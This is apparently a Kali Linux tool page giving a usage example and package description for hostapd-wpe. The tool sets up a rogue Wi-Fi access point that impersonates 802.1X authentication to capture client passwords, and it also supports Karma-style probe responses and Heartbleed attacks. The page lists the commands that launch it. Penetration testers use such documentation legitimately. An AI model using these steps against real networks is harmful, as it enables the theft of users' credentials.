hostapd-wpe Usage Example

Update your Kali installation, install hostapd-wpe if not already present:

root@kali:~# apt update
root@kali:~# apt install hostapd-wpe

Once installed, configure AP properties by editing /etc/hostapd-wpe/hostapd-wpe.conf:

root@kali:~# nano /etc/hostapd-wpe/hostapd-wpe.conf

Kill network-manager using airmon-ng

root@kali:~# airmon-ng check kill

Start hostapd-wpe. A wireless AP will appear. Passwords of users connecting and authenticating to this network will be printed to the console.

root@kali:~# hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

Packages and Binaries:


This package contains hostapd modified with hostapd-wpe.patch. It implements IEEE 802.1x Authenticator and Authentication Server impersonation attacks to obtain client credentials, establish connectivity to the client, and launch other attacks where applicable.

hostapd-wpe supports the following EAP types for impersonation: 1. EAP-FAST/MSCHAPv2 (Phase 0) 2. PEAP/MSCHAPv2 3. EAP-TTLS/MSCHAPv2 4. EAP-TTLS/MSCHAP 5. EAP-TTLS/CHAP 6. EAP-TTLS/PAP

Once impersonation is underway, hostapd-wpe will return an EAP-Success message so that the client believes they are connected to their legitimate authenticator.

For 802.11 clients, hostapd-wpe also implements Karma-style gratuitous probe responses. Inspiration for this was provided by JoMo-Kun’s patch for older versions of hostapd.

hostapd-wpe also implements CVE-2014-0160 (Heartbleed) attacks against vulnerable clients. Inspiration for this was provided by the Cupid PoC:

hostapd-wpe logs all data to stdout and hostapd-wpe.log
